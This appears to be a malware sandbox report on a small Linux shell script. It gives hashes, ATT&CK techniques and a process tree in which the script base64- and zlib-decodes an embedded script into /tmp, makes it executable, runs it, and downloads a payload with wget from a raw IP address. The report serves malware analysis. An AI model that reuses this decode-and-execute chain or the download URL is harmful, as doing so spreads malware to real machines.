1de1149a14b6f84d4aa785ef0b3ce701e472e8fbfbc3e3a040db4b7e3bb7a902

Analysis

max time kernel
145s
max time network
141s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
13/09/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
24d0d3d9346bc42fc669ab17c3b0cd7cb7fd5b04587842eccdecd40309eb7fd7_pre-append.sh
Size 2KB
Sample260913-thf8ca11aw
SHA256 1de1149a14b6f84d4aa785ef0b3ce701e472e8fbfbc3e3a040db4b7e3bb7a902
MD5 33b89f73465dd408ff884fd00f23809a
SHA1 799a5efe755a69afbc8720abb9a99286b245bbd4
SHA512 f77dbc1543907e451a5776cd83e91ae93b57dc22b88aecf158f2ee8af1273ceba8d4e7e44b3403dc5251b6342a9b578af66b5865d41e1e7c0e30da631e300fff
TLSH
T12A41E725D88C1C9DF882C49F87E9B6D614367022D7E038E4108D0B957C8FB68B601B70
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
744	chmod

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
726	base64

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tmp.E0uo2GpI81/embedded.sh	bash

/tmp/24d0d3d9346bc42fc669ab17c3b0cd7cb7fd5b04587842eccdecd40309eb7fd7_pre-append.sh
/tmp/24d0d3d9346bc42fc669ab17c3b0cd7cb7fd5b04587842eccdecd40309eb7fd7_pre-append.sh
1⤵
PID:715

/usr/local/sbin/bash
bash /tmp/24d0d3d9346bc42fc669ab17c3b0cd7cb7fd5b04587842eccdecd40309eb7fd7_pre-append.sh
1⤵
PID:715

/usr/local/bin/bash
bash /tmp/24d0d3d9346bc42fc669ab17c3b0cd7cb7fd5b04587842eccdecd40309eb7fd7_pre-append.sh
1⤵
PID:715

/usr/sbin/bash
bash /tmp/24d0d3d9346bc42fc669ab17c3b0cd7cb7fd5b04587842eccdecd40309eb7fd7_pre-append.sh
1⤵
PID:715

/usr/bin/bash
bash /tmp/24d0d3d9346bc42fc669ab17c3b0cd7cb7fd5b04587842eccdecd40309eb7fd7_pre-append.sh
1⤵
PID:715

/sbin/bash
bash /tmp/24d0d3d9346bc42fc669ab17c3b0cd7cb7fd5b04587842eccdecd40309eb7fd7_pre-append.sh
1⤵
PID:715

/bin/bash
bash /tmp/24d0d3d9346bc42fc669ab17c3b0cd7cb7fd5b04587842eccdecd40309eb7fd7_pre-append.sh
1⤵
- Writes file to tmp directory
PID:715
- /bin/mktemp
  mktemp -d
  2⤵
  PID:723
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:726
- /usr/bin/python3
  python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
  2⤵
  PID:727
- /bin/chmod
  chmod +x /tmp/tmp.E0uo2GpI81/embedded.sh
  2⤵
  - File and Directory Permissions Modification
  PID:744

/bin/bash
bash /tmp/tmp.E0uo2GpI81/embedded.sh
1⤵
PID:715
- /usr/bin/wget
  wget http://5.175.223.249/data.arm4
  2⤵
  PID:745

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

embedded.sh

Path /tmp/tmp.E0uo2GpI81/embedded.sh
Size 933B
SHA256 7c03f411d9eb2e476063f5c4dc4edfdfa465d1cbd622d1ff579e28a4dc696d95
MD5 65290d155bea4ad9525efd0af024ce29
SHA1 2b2a5b49ee52bf2f55a86b5fa8b90e1ca47ebfc8
SHA512 3c4f99a914b932bd37bbb002bec29713050a749547b1e35c79df13a57af81d9b3b97349a85f0a8639f7d41f36bb6dde879157f3358c6bec27c5255db408fddbe
TLSH
T1E011B1DD70A9245DAC119E4270918D90A145F2FF6CA79F48AC884DB1F58BBB4302DB85
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads